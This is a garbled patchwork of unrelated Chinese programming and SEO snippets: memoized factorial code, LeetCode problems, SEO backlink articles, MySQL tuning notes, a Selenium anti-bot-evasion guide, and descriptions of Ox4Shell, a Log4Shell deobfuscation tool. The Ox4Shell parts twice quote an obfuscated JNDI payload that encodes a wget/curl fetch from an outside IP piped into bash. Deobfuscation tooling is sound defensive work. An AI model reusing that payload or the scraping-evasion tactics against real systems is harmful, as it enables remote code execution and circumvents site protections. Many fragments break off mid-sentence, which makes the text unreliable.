明天考试,今天复习,复习编程题时想到了一种较 原本求阶乘的方式 好的求阶乘办法:因为一个数的阶乘=该数 x(该数-1)的阶乘,所以把每次阶乘的结果用数组记录下来,后续求更大的数的阶乘时,可以直接运用已求出的阶乘 ,避免重复计算 具体代码如下: //优化版阶乘:增加了存储阶乘的功能,减少重复计算的部分 int jie_cheng(int i,int a[]) { if (a[i-1] !
LC4给定两个大小分别为 m 和 n 的正序(从小到大)数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。算法的时间复杂度应该为 O(log (m+n)) 。
#sqrt(3)=1; sqrt(4)=2; sqrt(5)=2; sqrt(10)=3 class Solution: def sqrt(self, x): l, r =
当我们爬取大站的时候,就得需要对抗反爬虫机制的场景,因为项目要求使用Java和Selenium。Selenium通常用于模拟用户操作,但效率较低,所以需要我们结合其他技术来实现高效。 在 Java 中使用 Selenium 进行高效反爬虫对抗时,需结合特征隐藏、行为模拟、代理管理及验证码处理等策略,以下为系统性优化方案及代码实现:一、特征隐藏:消除自动化痕迹Selenium 暴露的 最佳实践总结策略适用场景关键优势JS 特征重写所有基于检测的网站根本性绕过自动化标志随机行为模拟行为分析型反爬(如鼠标轨迹监测)大幅降低行为规律性动态代理池IP 高频访问封禁场景分散请求源,避免黑名单Cookie -------^通过组合使用特征隐藏(JS 重写 + 启动参数)、行为模拟(随机延迟 + 鼠标移动)、资源管理(动态代理 + Cookie 复用),可显著提升 Selenium 在 Java 环境中的反爬能力
反链即反向链接,又叫导入链接(Backlinks),是指一个页面指向另一个页面,简单的说就是 A 网页有一个链接指向 B 网页,那么 A 网页上的链接就是 B 网页的反向链接,站外链接和站内链接统称为反链 反链的第一点作用:反链的作用是用来提升你网站的等级的,在各个搜索引擎算法里面基本都有一条算法,你网站的反链越多你网站的等级也就越高,从而你就有优先获得排名的好处,也就是为什么你的排名一直在第二三页徘徊的原因所在 ,因为网站的反链不能够支持起你网站去首页。 其实这就是你网站等级不够,不能触发搜索引擎的算法从而来提升你网站的等级,也就是说你网站的反链太少了。 一个网站的外链数量越多和外链质量越高,那么在搜索引擎眼里说明这个网站越有权威性,从而网站的关键词排名也都会更好,流量自然越多,同时外链讲究数量也更讲究质量,外链做的太杂会稀释关键词排名而无法达到很好的效果,所以子凡从最开始 SEO 优化就曾在交换链接时网站相关性越高的越好
设计模式大家都非常了解,不过反模式大概很少人听过。 没错,反模式顾名思义就是把大家平时在编程,代码设计,项目管理中遇到的各种典型错误归类, 总结出的“高考0分作文” The Blob 介绍 the blob 来源于美国电影幽浮魔点 - 维基百科,自由的百科全书 幽浮魔点 - 维基百科,自由的百科全书 ---- 本文会经常更新,请阅读原文: https://xinyuehtx.github.io/post/%E5%8F%8D%E6%A8%A1%E5%BC%8F%E4%
在做网站SEO优化的时候,有些SEO人员怎么优化网站都排不到搜索引擎的首页,文章每天都有发,而且都被收录了,外链也正常发,就是排名没有变化,这是为什么呢?其实,就是SEO人员都忽略了反链的作用。 反链是什么呢? 反链就是指其它的网站指向自己网站的链接,这都包括友情链接,单向链接等等,也就是其它网站只链接自己的网站,但自己的网站不链接其它网站。 外链和反链有区别吗? 外链和反链的最大区别就在于反链的要求会比较高,必须要在其它的网站上有自己网站的指定链接,就像友情链接一样,而这样的链接才能算是反链。 反链有什么作用 反链的第一个作用就是可以提升网站的等级,在搜索引擎的算法里,有一条法则就是,网站的反链越多,网站的等级也就会越高,最终会导致网站的排名也就会越好,这也就是为什么网站排名一直不稳定的原因所在 ,因为网站中的反链数量无法支持网站排在搜索引擎的首页。
cost is " + (end - start)); System.out.println(""); } 第四种:逆向思维筛选质素,最为高效 public void test4(
接下来,我们想办法优化这两个算法,使这两个算法只需要固定的1.5n次比较。 最大值和最小值 为啥一般的解法还能优化呢?肯定是因为没有充分利用信息,存在冗余计算。 具体到这个问题来说,我们把nums中的元素视为集合A,先将集合A平分为两个集合P和Q,分别求出P,Q中的最大元素和第二大元素(称为p1, p2和q1, q2),然后通过这 4 个数字得到集合A的最大元素和第二大元素 对于第一个求最大值和最小值的问题的分治算法和这道题基本一样,只是最后合并子问题答案的部分不同,而且更简单,读者可以尝试写一下第一题的分治解法。 如果可以利用分治解决问题,复杂度一般可以优化,比如以上两个问题,分治法复杂度都是1.5n,比一般解法要好。 其次,对于同时求最大值最小值的那个问题,怎么想到一次前进 2 步的呢? 归纳假设是可以随意加强、减弱的,现在我们是假设已知f(n-1)去求f(n),那么不妨试试假设已知f(n-2)或f(n-3)去求f(n)?
期末考试复习,复习编程题时想到了一种较 原本求斐波那契数列的方式 好的求阶乘办法:因为一个数的斐波那契数列=(该数-1)的斐波那契数列 +(该数-2)的斐波那契数列 ,所以把每次斐波那契数列 的结果用数组记录下来 ,后续求 更大的数的斐波那契数列 时,可以直接运用 已求出的斐波那契数列 ,避免重复计算 具体代码如下: //斐波那契数列优化版(与阶乘类似) int fbnq(int i, int a[]) {
Hi~朋友,关注置顶防止错过消息 背景 原因分析定位 优化思路 实现方案 SinkTaskProcessor AbstractAsyncRichSinkFunction AsyncSinkTaskRunnable 我们有一个场景是基于阿里的SLS进行消费,对一些监控指标进行清洗和采集,存入后面的TSDB,在第一次上线以后,系统正常运作无异常,随着指标数量的增加, 有一天收到了SLS消费延迟的告警,于是有了今天关于Sink的异步优化 已经推测大概率是最后的Sink问题,因为最后的Sink需要通过网络与TSDB交互 在整个流程加入日志,进行最终问题确认,最终确认了是由于Sink处理缓慢,处理速率远远低于Source生产的速率,形成了反压现象 (需要对上游进行限速) 优化思路 原来的Sink是收到一条数据,就请求TSDB接口进行数据写入,所有接口都是同步顺序执行,因此需要将Sink中的处理逻辑改为异步操作。 ,Checkpoint就可以执行了 调用getNumberWaiting方法,如果小于等于0,说明Checkpoint没有触发,此时线程继续下一轮循环去数据缓存队列尝试取数据进行消费 源码 Sink反压优化的源码
关于Ox4Shell Ox4Shell是一款针对Log4Shell Payload代码反混淆工具,自从Log4Shell漏洞(CVE-2021-44228)被发现之后,很多工具都开始尝试对Log4Shell 比如说下列经过混淆处理的Payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA on -p PAYLOAD, --payload PAYLOAD 待反混淆的单个 (默认: None) -f FILE, --file FILE 包含待反混淆的Payload文件路径 (默认: None) (向右滑动、查看更多) 模拟数据 Log4j代码库有几个独特的查询函数,允许用户查找环境变量和Java进程的运行时信息等。 的模拟数据能力来对下列Payload进行反混淆处理: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.
描述 自 Log4Shell 漏洞 (CVE-2021-44228) 发布以来,创建了许多工具来混淆 Log4Shell 有效负载,使安全工程师的生活成为一场噩梦。 例如,考虑以下混淆的有效负载: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA 用法 要简单地运行该工具: ~/Ox4Shell » python ox4shell.py --help usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth 的模拟功能对以下有效负载进行反混淆: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}. 工具下载:https://github.com/ox-eye/Ox4Shell#ox4shell
为什么要优化? 优化的好处 1.提升网页响应速度 2.有利于搜索引擎搜索 3.对后期维护比较方便 怎么优化? 1.减少请求 2.减少文件的大小 3.页面性能 4.可读性、维护性 1.图片合并 2.css文件合并 (多个css文件合并为一个、少量的行内样式、避免import的方式引入文件) 3.减少图片的大小 (选择合适的图片格式) 4.css值缩写 5.0px 中px省略 0% 0 0.5可以写成.5 6.选择器合并 7.link标签引入样式放到head标签中 8.js脚本建议放在底部,等页面加载完之后再处理 尽量用语义化的标签来编写,有利于seo 15.类型和id名,以内容语义来命名 16.避免hack 17.模块化(一系列相关的结构做成一个模块来处理) 18.必要的时候添加注释,可读性比较好 比如说代码优化 ,大家试着说一下怎么优化?
优化脚本 一般此过程会非常漫长,可以写一个脚本来后台运行,或简单的控制一下IO [hunter@opti-slave ~]$ cat opti.bash #! opti.bash >> /path/to/optimize.log 2>&1 & 通过监控 optimize.log 来判断执行完成状态 也可以通过查看监控,IOPS很能反映问题 ---- 恢复备份 优化完成后 ,立刻恢复备份 start slave; 通过对比前后数据文件大小,可以明显看到优化效果 一般少也能缩减5%的空间,平均在10%左右,我自己经历最明显效果的是减少了32%的空间,对于一个大库来说,能节省不少磁盘空间 ,并且对查询性能也有一定优化效果 ---- 命令汇总 pt-table-checksum --nocheck-replication-filters --nocheck-binlog-format --
1.ORDER BY的优化 某些情况下,MySQL使用索引排序,尽量避免使用 filesort 即使ORDER BY与索引不完全匹配,也可以使用索引,只要索引的未使用部分和额外的 如果是这样,优化器可能不使用索引。如果SELECT*只选择索引列,则使用索引并避免排序。 * FROM t1 WHERE key_part1 = constantORDER BY key_part2; ---- 假设 key_part1不是索引或索引的一部分,在条件中作为常量条件存在,则优化器也会使用索引 为了获得文件排序操作的内存,从MySQL8.0.12开始,优化器会根据需要递增地分配内存缓冲区,直到达到sort_buffer_size系统变量指定的大小,而不是像MySQL8.0.12之前那样预先分配固定数量的
image.png 算法二:辗转相除法 辗转相除法, 又名欧几里德算法(Euclidean algorithm),是求最大公约数的一种方法。 如果是求两个数的最大公约数,那么最后的除数就是这两个数的最大公约数。 printf("time=%lf seconds\n",duration); printf("result=%d\n",f); } time=0.037000 seconds result=4 (更相减损术)辗转相减法(求最大公约数),即尼考曼彻斯法,其特色是做一系列减法,从而求得最大公约数。 Press any key to continue 看看4个算法的运行时间,还是我自己想的算法时间最久,来一个 大神拯救我吧。
DEFAULT NULL, `crc64_user_id_3` bigint unsigned DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 其中,user_id, app_user_id, global_user_id 这三列,是互相包含的。 等建完索引,我又发现一个可以优化的地方。在本题中,只需找出散值(即每列的单值)的差异即可,完全没必要把整张表的数据,都拉出来。因为 user_id 肯定会有重复值嘛。 于是,我又想到了一种方案,那就是求 CRC 的总和。CRC 方法,简单来说,就是求每个 user id 的哈希值,然后求和。若和一致,则说明两列包含了相同的散值。 而求两列异值,最快的方法,由上可知,便是Left Join 求 Null, 并且只要有一条数据存在,就足以说明集合的包含关系.
例3.四平方和 思路1:枚举abcd,判断a^2^+b^2^+c^2^+d^2^是否等于N 分析规模 a:0 ~ sqrt(500000 / 4) b:0 ~ sqrt(500000 / 3 font color = red>经验:1秒=10^8^ 思路2:枚举abc,判断N-a^2^-b^2^-c^2^是不是完全平方数 分析规模 a:0 ~ sqrt(500000 / 4) * d) == f.end()) f[c * c + d * d] = c; //枚举a,b的值 for(int a = 0;a * a <= n / 4; << c << " " << d << endl; return 0; } } } return 0; } 例4. ; return 0; } 第一次作业 先说说的思路,当时看到这题有点懵,可能还是对哈希算法掌握的不够,怎么都想不到用哈希的方法去做,索性先写了个O(N^2^)的两重循环,想着这几天学的优化